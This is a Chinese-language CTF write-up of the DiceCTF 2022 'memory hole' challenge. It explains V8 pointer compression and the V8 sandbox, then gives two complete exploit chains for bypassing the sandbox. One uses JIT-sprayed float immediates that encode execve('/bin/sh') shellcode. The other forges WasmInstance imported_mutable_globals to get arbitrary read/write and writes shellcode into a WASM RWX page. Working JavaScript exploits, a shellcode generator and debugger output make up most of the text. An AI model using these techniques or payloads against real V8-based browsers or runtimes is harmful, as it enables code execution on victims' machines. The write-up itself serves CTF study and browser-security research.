0x00 背景
这是 DiceCTF2022 的一道题 memory hole。
题目给了我们修改任意 array 的 length 的能力,按过往的经验,接下来很简单,就是构造任意地址读写原语,构造 WASM 实例,读 RWX 空间地址,写 shellcode ,调 WASM 函数,OK。
但题目开启了 V8 沙箱,一个新的安全机制,直接阻止了我们构造任意地址读写原语,能访问的范围是 array 基址后连续的 4G 地址空间。
绕过这个沙箱是本题的重点,看了两篇wp有所收获,所以整理了下绕过手法,未来可能会用到。
0x01 指针压缩
64 位 V8 中使用了“指针压缩”的技术,即将 64 位指针转为 js_base + offset
的形式,只在内存当中存储 offset
,寄存器 $14
存储 js_base
,其中 offset
是 32 位的。JS 对象在解引用时,会从 $r14 + offset
的地址加载。因此 js_base + offset
被限制在很小的一个区域,无法访问任意地址。
如下,没有开启“指针压缩”的 ArrayBuffer
内存布局:
开启后:
绕过“指针压缩”的方法很简单,因为“指针压缩”只对堆上指针使用,堆外指针不会压缩。ArrayBuffer
的 BackingStore
是个堆外指针,可以直接修改 BackingStore
为任意地址进而实现任意地址读写。
0x02 V8 沙箱
V8 沙箱扩展“指针压缩”将 V8 堆上的所有原始指针都 “沙盒化”,比如 WebAssembly
的 RWX
页指针和 ArrayBuffer
的 BackingStore
指针。将这些外部指针都转为表的索引,以基址+偏移的方式访问,限制指针能访问的范围,防止攻击者利用 V8 漏洞实现内存任意地址读写。
V8 Sandbox - High-Level Design Doc
如下,未开启 V8 沙箱时的 ArrayBuffer
对象内存布局:
开启沙箱后,BackingStore
替换为 0x45c00000000(偏移量 0x45c00,向左移动 24 位保证最高位为 0)。
此时假设攻击者能从多个线程中任意破坏沙箱内的内存,现在需要一个额外的漏洞破坏沙箱外部的内存,从而执行任意代码。
0x03 绕过
方法一:利用立即数写 shellcode
(参考 https://mem2019.github.io/jekyll/update/2022/02/06/DiceCTF-Memory-Hole.html)
JSFunction
先 DebugPrint 一个 JSFunction
的内存结构:
这里有一个 code
字段,它指向了函数要执行的汇编指令,处于 r-x
页。
用 gdb 修改 code
字段 0x41414141
。
继续执行,出现异常,此时 rcx
是 0x2a0c41414141
,即基址(0x2a0c00000000)+偏移(0x41414141)。
看这段汇编,如果我们令[rcx + 0x1b] & 0x20000000 = 0
,rip
就会在之后被设置为 rcx+0x3f
,从而劫持 rip
,这个条件是比较容易满足的。
使用立即数构造 shellcode
JS 函数的 JIT 代码存储在堆内,即基址开头的 32 位区域,如下,基址都是 0x350f00000000
。
这个函数返回的是一个浮点数组,在汇编里,每个浮点数以立即数的形式存在,立即数占 8 个字节。
立即数同样可以被识别为汇编指令,很容易想到可以利用这个立即数来布置 shellcode,只要将 shellcode 片段用 jmp
连接起来,就能将一个个立即数串联起来,实现完整的功能。
jmp
短跳需要 2 个字节,剩下 6 个字节可以自由发挥。
参考原作的脚本生成 shellcode,再将输出转为 IEEE 浮点表示。
from pwn import *
context(arch='amd64')
jmp = b'\xeb\x0c'
shell = u64(b'/bin/sh\x00')
def make_double(code):
assert len(code) <= 6
print(hex(u64(code.ljust(6, b'\x90') + jmp))[2:])
make_double(asm("push %d; pop rax" % (shell >> 0x20)))
make_double(asm("push %d; pop rdx" % (shell % 0x100000000)))
make_double(asm("shl rax, 0x20; xor esi, esi"))
make_double(asm("add rax, rdx; xor edx, edx; push rax"))
code = asm("mov rdi, rsp; push 59; pop rax; syscall")
assert len(code) <= 8
print(hex(u64(code.ljust(8, b'\x90')))[2:])
"""
Output:
ceb580068732f68
ceb5a6e69622f68
cebf63120e0c148
ceb50d231d00148
50f583b6ae78948
IEEE:
1.95538254221075331056310651818E-246
1.95606125582421466942709801013E-246
1.99957147195425773436923756715E-246
1.95337673326740932133292175341E-246
2.63486047652296056448306022844E-284
"""
生成出来的 shellcode 是通过系统调用执行 /bin/sh
。
跟一下
gef➤ job 0x3de400045681
0x3de400045681: [Code]
- map: 0x3de40800263d <Map>
- code_data_container: 0x3de4081d360d <Other heap object (CODE_DATA_CONTAINER_TYPE)>
kind = TURBOFAN
stack_slots = 6
compiler = turbofan
address = 0x3de400045681
Instructions (size = 388)
0x3de4000456c0 0 8b59d0 movl rbx,[rcx-0x30]
...
0x3de400045735 75 c5fb114107 vmovsd [rcx+0x7],xmm0
0x3de40004573a 7a 49ba682f73680058eb0c REX.W movq r10,0xceb580068732f68
0x3de400045744 84 c4c1f96ec2 vmovq xmm0,r10
0x3de400045749 89 c5fb11410f vmovsd [rcx+0xf],xmm0
0x3de40004574e 8e 49ba682f62696e5aeb0c REX.W movq r10,0xceb5a6e69622f68
0x3de400045758 98 c4c1f96ec2 vmovq xmm0,r10
0x3de40004575d 9d c5fb114117 vmovsd [rcx+0x17],xmm0
0x3de400045762 a2 49ba48c1e02031f6eb0c REX.W movq r10,0xcebf63120e0c148
0x3de40004576c ac c4c1f96ec2 vmovq xmm0,r10
0x3de400045771 b1 c5fb11411f vmovsd [rcx+0x1f],xmm0
0x3de400045776 b6 49ba4801d031d250eb0c REX.W movq r10,0xceb50d231d00148
0x3de400045780 c0 c4c1f96ec2 vmovq xmm0,r10
0x3de400045785 c5 c5fb114127 vmovsd [rcx+0x27],xmm0
0x3de40004578a ca 49ba4889e76a3b580f05 REX.W movq r10,0x50f583b6ae78948
...
以指令格式查看这几个立即数,可以看到这几个立即数是通过 jmp
串联起来了。
gef➤ x/3i 0x3de40004573c
0x3de40004573c: push 0x68732f
0x3de400045741: pop rax
0x3de400045742: jmp 0x3de400045750
gef➤ x/3i 0x3de400045750
0x3de400045750: push 0x6e69622f
0x3de400045755: pop rdx
0x3de400045756: jmp 0x3de400045764
gef➤ x/3i 0x3de400045764
0x3de400045764: shl rax,0x20
0x3de400045768: xor esi,esi
0x3de40004576a: jmp 0x3de400045778
gef➤ x/4i 0x3de400045778
0x3de400045778: add rax,rdx
0x3de40004577b: xor edx,edx
0x3de40004577d: push rax
0x3de40004577e: jmp 0x3de40004578c
gef➤ x/4i 0x3de40004578C
0x3de40004578c: mov rdi,rsp
0x3de40004578f: push 0x3b
0x3de400045791: pop rax
0x3de400045792: syscall
执行
接下来就是劫持 rip
。
修改 JSFunction 对象的 code
字段,令 code + 0x3f = 0x3de40004573c
。
code
的计算方式 0x3de400045681 + (0x3de40004573c - 0x3f - 0x3de400045681) = 0x3de400045681 + 0x7c
,即原 code
值加 0x7c
,具体各位自行体会,原作的 jitAddr + 0xb3 - 0x3f
的计算在我这跑不起来,差了 8 个字节,不知道是不是环境问题。
EXP
function dp(x) {}// %DebugPrint(x);}
const print = () => {};
const assert = function (b, msg)
{
if (!b)
throw Error(msg);
};
const __buf8 = new ArrayBuffer(8);
const __dvCvt = new DataView(__buf8);
function d2u(val)
{ //double ==> Uint64
__dvCvt.setFloat64(0, val, true);
return __dvCvt.getUint32(0, true) +
__dvCvt.getUint32(4, true) * 0x100000000;
}
function u2d(val)
{ //Uint64 ==> double
const tmp0 = val % 0x100000000;
__dvCvt.setUint32(0, tmp0, true);
__dvCvt.setUint32(4, (val - tmp0) / 0x100000000, true);
return __dvCvt.getFloat64(0, true);
}
function d22u(val)
{ //double ==> 2 * Uint32
__dvCvt.setFloat64(0, val, true);
}
const hex = (x) => ("0x" + x.toString(16));
/*
One weird thing is that as long as a function contains floating const,
allocated array object cannot reach the function object by OOB;
therefore, we use TypedArray arbitrary R/W in sbx to rewrite its field.
*/
const foo = ()=>
{
return [
1.0,
1.95538254221075331056310651818E-246,
1.95606125582421466942709801013E-246,
1.99957147195425773436923756715E-246,
1.95337673326740932133292175341E-246,
2.63486047652296056448306022844E-284];
}
for (let i = 0; i < 0x10000; i++) {
foo();foo();foo();foo();
}
const f = () => 123;
const arr = [1.1];
const o = {x:0x1337, a:foo, b:f}; // x makes a and b double align
const ua = new Uint32Array(2);
arr.setLength(36);
d22u(arr[3]);
const fooAddr = __dvCvt.getUint32(0, true);
const fAddr = __dvCvt.getUint32(4, true);
print(hex(fAddr));dp(f);
dp(ua);
function readOff(off)
{
arr[35] = u2d((off-7) * 0x100000000);
return ua[0];
}
function writeOff(off, val)
{
arr[35] = u2d((off-7) * 0x100000000);
ua[0] = val;
}
print(hex(fooAddr));dp(foo);
jitAddr = readOff(fooAddr + 0x17);
print('jitAddr');
print(hex(jitAddr));
print('rcx + 0x1b:') // rcx = jitAddr
print(hex(jitAddr + 0x1b));
print(hex(readOff(jitAddr + 0x1b)));
// %SystemBreak();
// writeOff(fAddr + 0x17, jitAddr + 0xb3 - 0x3f);
writeOff(fAddr + 0x17, jitAddr + 0x7c);
print(readOff(fooAddr + 0x17));
dp(foo);
// %SystemBreak();
f();
方法二:利用 WasmInstance 的全局变量
(参考:https://blog.kylebot.net/2022/02/06/DiceCTF-2022-memory-hole/)
尽管沙箱几乎把所有指针都压缩了,但依然存在一些64位的原始指针,可以尝试劫持它们来绕过沙箱。
全局变量
WasmInstance 对象的 imported_mutable_globals
存储 WASM 代码中使用的所有全局变量,它并没有被沙箱保护起来。
下面是一个 WasmInstance 对象:
DebugPrint: 0x3b17081d2f3d: [WasmInstanceObject] in OldSpace
- map: 0x3b1708206439 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x3b1708046975 <Object map = 0x3b1708206c81>
- elements: 0x3b1708002249 <FixedArray[0]> [HOLEY_ELEMENTS]
- module_object: 0x3b1708048b69 <Module map = 0x3b17082062d1>
- exports_object: 0x3b1708048e85 <Object map = 0x3b1708206d21>
- native_context: 0x3b17081c2c75 <NativeContext[266]>
- imported_mutable_globals_buffers: 0x3b17081d3035 <FixedArray[1]>
- imported_function_refs: 0x3b1708002249 <FixedArray[0]>
- indirect_function_table_refs: 0x3b1708002249 <FixedArray[0]>
- managed_native_allocations: 0x3b1708048e61 <Foreign>
- managed object maps: 0x3b1708002249 <FixedArray[0]>
- feedback vectors: 0x3b1708002249 <FixedArray[0]>
- memory_start: (nil)
- memory_size: 0
- imported_function_targets: 0x560e9be53750
- globals_start: (nil)
- imported_mutable_globals: 0x560e9be53770
- ...
查看内存,imported_mutable_globals
确实还是64位。
gef➤ x/20xg 0x3b17081d2f3d-1
0x3b17081d2f3c: 0x0800224908206439 0x0800224908002249
0x3b17081d2f4c: 0x0000000008002249 0x0000000000000000
0x3b17081d2f5c: 0x0000000000000000 0x0000560e9bddc640
0x3b17081d2f6c: 0x0000560e9be53750 0x0000000000000000
0x3b17081d2f7c: 0x0000000000000000 0x0000000000000000
0x3b17081d2f8c: 0x0000560e9be53770 0x0000560e9bddc620
0x3b17081d2f9c: 0x0000246bb5adb000 0x0000560e9bde8a48
0x3b17081d2fac: 0x0000560e9bde8a40 0x0000560e9bde8a60
0x3b17081d2fbc: 0x0000560e9bde8a58 0x0000560e9bddc630
0x3b17081d2fcc: 0x0000560e9be53790 0x0000560e9be537b0
使用全局变量
var global = new WebAssembly.Global({value:'i64', mutable:true}, 0n);
var wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 12, 3, 96, 0, 1, 126, 96, 0, 0, 96, 1, 126, 0, 2, 14, 1, 2, 106, 115, 6, 103, 108, 111, 98, 97, 108, 3, 126, 1, 3, 4, 3, 0, 1, 2, 7, 37, 3, 9, 103, 101, 116, 71, 108, 111, 98, 97, 108, 0, 0, 9, 105, 110, 99, 71, 108, 111, 98, 97, 108, 0, 1, 9, 115, 101, 116, 71, 108, 111, 98, 97, 108, 0, 2, 10, 23, 3, 4, 0, 35, 0, 11, 9, 0, 35, 0, 66, 1, 124, 36, 0, 11, 6, 0, 32, 0, 36, 0, 11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod, {js: {global}});
以上可以往 imported_mutable_globals
里添加一个 int64 的全局变量 。
注意global
这个变量是在当前堆上分配的,利用漏洞是可以修改这个对象的属性。
DebugPrint 一下这个 global
DebugPrint: 0xc7908048d0d: [WasmGlobalObject]
- map: 0x0c7908206821 <Map(HOLEY_ELEMENTS)>
- untagged_buffer: 0x0c7908048d31 <ArrayBuffer map = 0xc7908203289>
- offset: 0
- raw_type: 2
- is_mutable: 1
- type: i64
- is_mutable: 1
untagged_buffer
是一个 ArrayBuffer,backing_store
是 0x3b1800002000
,也就是 global
存储数据的地址。
gef➤ job 0x3b1708048d31
0x3b1708048d31: [JSArrayBuffer]
- map: 0x3b1708203289 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x3b17081c99e9 <Object map = 0x3b17082032b1>
- elements: 0x3b1708002249 <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- backing_store: 0x3b1800002000
- byte_length: 8
- max_byte_length: 8
- detachable
- properties: 0x3b1708002249 <FixedArray[0]>
- All own properties (excluding elements): {}
- embedder fields = {
0, aligned pointer: (nil)
0, aligned pointer: (nil)
}
回过头看上面 wasm_instance
的 imported_mutable_globals
DebugPrint: 0x3b17081d2f3d: [WasmInstanceObject] in OldSpace
- map: 0x3b1708206439 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x3b1708046975 <Object map = 0x3b1708206c81>
- elements: 0x3b1708002249 <FixedArray[0]> [HOLEY_ELEMENTS]
- module_object: 0x3b1708048b69 <Module map = 0x3b17082062d1>
- exports_object: 0x3b1708048e85 <Object map = 0x3b1708206d21>
- native_context: 0x3b17081c2c75 <NativeContext[266]>
- imported_mutable_globals_buffers: 0x3b17081d3035 <FixedArray[1]>
- imported_function_refs: 0x3b1708002249 <FixedArray[0]>
- indirect_function_table_refs: 0x3b1708002249 <FixedArray[0]>
- managed_native_allocations: 0x3b1708048e61 <Foreign>
- managed object maps: 0x3b1708002249 <FixedArray[0]>
- feedback vectors: 0x3b1708002249 <FixedArray[0]>
- memory_start: (nil)
- memory_size: 0
- imported_function_targets: 0x560e9be53750
- globals_start: (nil)
- imported_mutable_globals: 0x560e9be53770
- ...
这里的第一个元素即是 global
的 backing_store
地址
gef➤ x/10xg 0x560e9be53770
0x560e9be53770: 0x00003b1800002000 0x00007fcdcb1bdca0
0x560e9be53780: 0x0000000000000000 0x0000000000000021
0x560e9be53790: 0x00007fcdcb1bdca0 0x00007fcdcb1bdca0
0x560e9be537a0: 0x0000000000000000 0x0000000000000021
0x560e9be537b0: 0x00007fcdcb1bdca0 0x00007fcdcb1bdca0
我们伪造一个 imported_mutable_globals
替换掉 wasm_instance
的 imported_mutable_globals
,即可做到任意地址读写。
伪造 imported_mutable_globals
imported_mutable_globals
并不是一个 JS 对象,不用泄漏 map ,伪造起来比较容易。
创建一个 array
,第一个元素是要读写的任意地址。
再泄漏这个 array
的偏移及基址 js_base
计算得到完整的 array
地址,覆盖掉用来的 imported_mutable_globals
。
泄漏 array
的偏移按常规的路子来就行,泄漏 js_base
见下一节。
一切搞好后,要读写任意地址,改 array[0]
即可。
获取基址 js_base
泄漏基址 js_base
并不难,多次运行 d8 ,搜索下基址:
第一次
gef➤ search-pattern 0x1c53
[+] Searching '\x53\x1c' in memory
[+] In (0x1c5300000000-0x1c5300003000), permission=rw-
0x1c530000001c - 0x1c5300000024 → "\x53\x1c[...]"
0x1c5300000024 - 0x1c530000002c → "\x53\x1c[...]"
0x1c5300000054 - 0x1c530000005c → "\x53\x1c[...]"
0x1c53000000f4 - 0x1c53000000fc → "\x53\x1c[...]"
...
第二次
gef➤ search-pattern 0x00002c3b
[+] Searching '\x3b\x2c\x00\x00' in memory
[+] In (0x2c3b00000000-0x2c3b00003000), permission=rw-
0x2c3b0000001c - 0x2c3b0000001e → ";,"
0x2c3b00000024 - 0x2c3b00000026 → ";,"
0x2c3b00000054 - 0x2c3b00000056 → ";,"
0x2c3b000000f4 - 0x2c3b000000f6 → ";,"
...
第三次
gef➤ search-pattern 0x3f13
[+] Searching '\x13\x3f' in memory
[+] In (0x3f1300000000-0x3f1300003000), permission=rw-
0x3f130000001c - 0x3f1300000024 → "\x13\x3f[...]"
0x3f1300000024 - 0x3f130000002c → "\x13\x3f[...]"
0x3f1300000054 - 0x3f130000005c → "\x13\x3f[...]"
0x3f13000000f4 - 0x3f13000000fc → "\x13\x3f[...]"
...
可以看到,在 [js_base , js_base+0x3000]
的区间就有一些64位的原始指针,如果能读到,就可以泄漏出基址。
具体的方法,构造一个 BigInt64Array
修改 external_pointer
,以及 byte_length
,让 BigInt64Array
能从 js_base
开始访问。
这里由于沙箱,data_ptr
的计算方式改为 js_base + base_pointer + (external_pointer << 2)
,需要注意 external_pointer
变为了偏移,如下图的 0x1000000
。
修改 external_pointer
和 base_pointer
为 0
,BigIng64Array
就会从 js_base
开始访问了。
修改全局变量
参考 mdm 提供的 demo https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/global.wat ,添加修改 global 变量的函数。
(module
(global $g (import "js" "global") (mut i64))
(func (export "getGlobal") (result i64)
(global.get $g))
(func (export "setGlobal") (param i64)
(global.set $g
(get_local 0)))
)
用 wat2wasm https://webassembly.github.io/wabt/demo/wat2wasm/ 编译后,提取二进制格式的输出。
现在可以使用 WASM 修改全局变量了:
var wasm_code = new Uint8Array([0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,0x01,0x09,0x02,0x60,0x00,0x01,0x7e,0x60,0x01,0x7e,0x00,0x02,0x0e,0x01,0x02,0x6a,0x73,0x06,0x67,0x6c,0x6f,0x62,0x61,0x6c,0x03,0x7e,0x01,0x03,0x03,0x02,0x00,0x01,0x07,0x19,0x02,0x09,0x67,0x65,0x74,0x47,0x6c,0x6f,0x62,0x61,0x6c,0x00,0x00,0x09,0x73,0x65,0x74,0x47,0x6c,0x6f,0x62,0x61,0x6c,0x00,0x01,0x0a,0x0d,0x02,0x04,0x00,0x23,0x00,0x0b,0x06,0x00,0x20,0x00,0x24,0x00,0x0b,0x00,0x14,0x04,0x6e,0x61,0x6d,0x65,0x02,0x07,0x02,0x00,0x00,0x01,0x01,0x00,0x00,0x07,0x04,0x01,0x00,0x01,0x67])
var wasm_mod = new WebAssembly.Module(wasm_code);
const global = new WebAssembly.Global({value:'i64', mutable:true}, 0n);
var wasm_instance = new WebAssembly.Instance(wasm_mod, {js:{global}});
var getGlobal= wasm_instance.exports.getGlobal;
var setGlobal= wasm_instance.exports.setGlobal;
setGlobal(0x10000n);
console.log(getGlobal()); // 65535
EXP
function dp(x) {}
// function dp(x) {%DebugPrint(x);} // const print = console.log;
const print = (x) =>{console.log(x)};
class Helpers {
constructor() {
this.cvt_buf = new ArrayBuffer(8);
this.cvt_f64a = new Float64Array(this.cvt_buf);
this.cvt_u64a = new BigUint64Array(this.cvt_buf);
this.cvt_u32a = new Uint32Array(this.cvt_buf);
}
ftoi(f) {
this.cvt_f64a[0] = f;
return this.cvt_u64a[0];
}
itof(i) {
this.cvt_u64a[0] = i;
return this.cvt_f64a[0];
}
ftoil(f) {
this.cvt_f64a[0] = f;
return this.cvt_u32a[0];
}
ftoih(f) {
this.cvt_f64a[0] = f;
return this.cvt_u32a[1];
}
fsetil(f, l) {
this.cvt_f64a[0] = f;
this.cvt_u32a[0] = l;
return this.cvt_f64a[0];
}
fsetih(f, h) {
this.cvt_f64a[0] = f;
this.cvt_u32a[1] = h;
return this.cvt_f64a[0];
}
isetltof(i, l) {
this.cvt_u64a[0] = i;
this.cvt_u32a[0] = l;
return this.cvt_f64a[0];
}
isethtof(i, h) {
this.cvt_u64a[0] = i;
this.cvt_u32a[1] = h;
return this.cvt_f64a[0];
}
isetlhtof(l,h){
this.cvt_u32a[0] = l;
this.cvt_u32a[1] = h;
return this.cvt_f64a[0];
}
isetltoi(i,l){
this.cvt_u32a[0] = l;
return this.cvt_u64a[0];
}
isethtoi(i,h){
this.cvt_u32a[1] = h;
return this.cvt_u64a[0];
}
isetlhtoi(l,h){
this.cvt_u32a[0] = l;
this.cvt_u32a[1] = h;
return this.cvt_u64a[0];
}
igetl(i) {
this.cvt_u64a[0] = i;
return this.cvt_u32a[0];
}
igeth(i) {
this.cvt_u64a[0] = i;
return this.cvt_u32a[1];
}
gc() {
for (let i = 0; i < 100; i++) {
new ArrayBuffer(0x1000000);
}
}
printhex(s, val) {
//%DebugPrint(s + " 0x" + val.toString(16));
console.log(s + " 0x" + val.toString(16));
//document.write(s +' ' + val.toString(16) + " </br>");
//alert(s + " 0x" + val.toString(16));
}
};
var helper = new Helpers();
var oob_arr = [1.1, 2.2, 3.3];
var buf = new ArrayBuffer(0x100);
var i64arr= new BigUint64Array(buf);
var fake_imported_mutable_globals_arr = [0x1337133713371337];
var leaker = { 'x':fake_imported_mutable_globals_arr};
var wasm_code = new Uint8Array([0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,0x01,0x09,0x02,0x60,0x00,0x01,0x7e,0x60,0x01,0x7e,0x00,0x02,0x0e,0x01,0x02,0x6a,0x73,0x06,0x67,0x6c,0x6f,0x62,0x61,0x6c,0x03,0x7e,0x01,0x03,0x03,0x02,0x00,0x01,0x07,0x19,0x02,0x09,0x67,0x65,0x74,0x47,0x6c,0x6f,0x62,0x61,0x6c,0x00,0x00,0x09,0x73,0x65,0x74,0x47,0x6c,0x6f,0x62,0x61,0x6c,0x00,0x01,0x0a,0x0d,0x02,0x04,0x00,0x23,0x00,0x0b,0x06,0x00,0x20,0x00,0x24,0x00,0x0b,0x00,0x14,0x04,0x6e,0x61,0x6d,0x65,0x02,0x07,0x02,0x00,0x00,0x01,0x01,0x00,0x00,0x07,0x04,0x01,0x00,0x01,0x67])
var wasm_mod = new WebAssembly.Module(wasm_code);
const global = new WebAssembly.Global({value:'i64', mutable:true}, 0n);
var wasm_instance = new WebAssembly.Instance(wasm_mod, {js:{global}});
var getGlobal= wasm_instance.exports.getGlobal;
var setGlobal= wasm_instance.exports.setGlobal;
function arbWrite(addr,val){
oob_arr[0x17] = helper.itof(addr);
setGlobal(BigInt.asUintN(64,BigInt(val)));
}
function arbRead(addr){
oob_arr[0x17] = helper.itof(addr);
return BigInt.asUintN(64, getGlobal());
}
function addrOf(obj){
leaker['x'] = obj;
return BigInt.asUintN(64,js_base + BigInt(helper.ftoih(oob_arr[0x1b])));
}
oob_arr.setLength(0x10000000/8);
dp(oob_arr);
dp(fake_imported_mutable_globals_arr);
dp(leaker);
// %DebugPrint(i64arr);
// %SystemBreak();
oob_arr[0x11] = helper.isethtof(helper.ftoi(oob_arr[0x11]),0x10000000); // length
oob_arr[0x13] = helper.itof(0n); // external_pointer
// %DebugPrint(i64arr);
// %SystemBreak();
// leak js_base
var js_base = 0n;
if( (i64arr[3] >> 32n ) == (i64arr[4] >> 32n)) {
js_base = BigInt.asUintN(64,i64arr[3]) & 0xffff00000000n;
}
helper.printhex('js_base @', js_base);
fake_imported_mutable_globals_arr_addr = addrOf(fake_imported_mutable_globals_arr);
fake_imported_mutable_globals_addr = fake_imported_mutable_globals_arr_addr - 0x9n;
// %SystemBreak();
oob_arr_addr = addrOf(oob_arr);
wasm_inst_addr = addrOf(wasm_instance);
imported_mutable_globals_offset = (wasm_inst_addr - js_base + 0x50n -1n ) / 8n;
dp(wasm_instance);
// %SystemBreak();
helper.printhex('fake_obj_addr @', fake_imported_mutable_globals_addr);
helper.printhex('oob_arr_addr @', oob_arr_addr);
helper.printhex('wasm_instance_addr @', wasm_inst_addr);
helper.printhex('wasm_instance.imported_mutable_globals_offset ', imported_mutable_globals_offset);
// i64arr[imported_mutable_globals_offset] = helper.isethtoi(i64arr[imported_mutable_globals_offset] , Number(fake_imported_mutable_globals_addr & 0xffffffffn));
// i64arr[imported_mutable_globals_offset + 1n] = helper.isetltoi(i64arr[imported_mutable_globals_offset + 1n], Number(fake_imported_mutable_globals_addr >> 32n));
helper.printhex('i64arr[globals_offset] @', i64arr[imported_mutable_globals_offset]);
i64arr[imported_mutable_globals_offset] = fake_imported_mutable_globals_addr;
dp(wasm_instance);
// %SystemBreak();
var wasm_code2= new Uint8Array([
0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127,
3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0,
5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145,
128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97,
105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0,
65, 42, 11,
]);
var wasm_mod2 = new WebAssembly.Module(wasm_code2);
var wasm_instance2 = new WebAssembly.Instance(wasm_mod2);
var f = wasm_instance2.exports.main;
wasm_instance2_addr = addrOf(wasm_instance2);
wasm_instance2_rwx_page_addr = wasm_instance2_addr + 0x60n - 1n;
helper.printhex('rwx page addr @', wasm_instance2_rwx_page_addr);
// %SystemBreak();
wasm_instance2_rwx_page = arbRead(wasm_instance2_rwx_page_addr);
helper.printhex('rwx page @', wasm_instance2_rwx_page);
shellcode = [0x99583b6a, 0x622fbb48, 0x732f6e69, 0x48530068, 0x2d68e789, 0x48000063, 0xe852e689, 0x00000008,
0x6e69622f, 0x0068732f, 0x89485756, 0x00050fe6];
for(let i=0; i<shellcode.length; i=i+2){
arbWrite(wasm_instance2_rwx_page +(BigInt(i) * 4n),helper.isetlhtoi(shellcode[i],shellcode[i+1]));
}
// dp(wasm_instance2);
// %SystemBreak();
f();
0x04 参考
- https://mem2019.github.io/jekyll/update/2022/02/06/DiceCTF-Memory-Hole.html
- https://blog.kylebot.net/2022/02/06/DiceCTF-2022-memory-hole/
- https://docs.google.com/document/d/1FM4fQmIhEqPG8uGp5o9A-mnPB5BOeScZYpkHjo0KKA8/edit#
- https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Global/Global
- https://developer.mozilla.org/zh-CN/docs/WebAssembly/Understanding_the_text_format
- https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/global.wat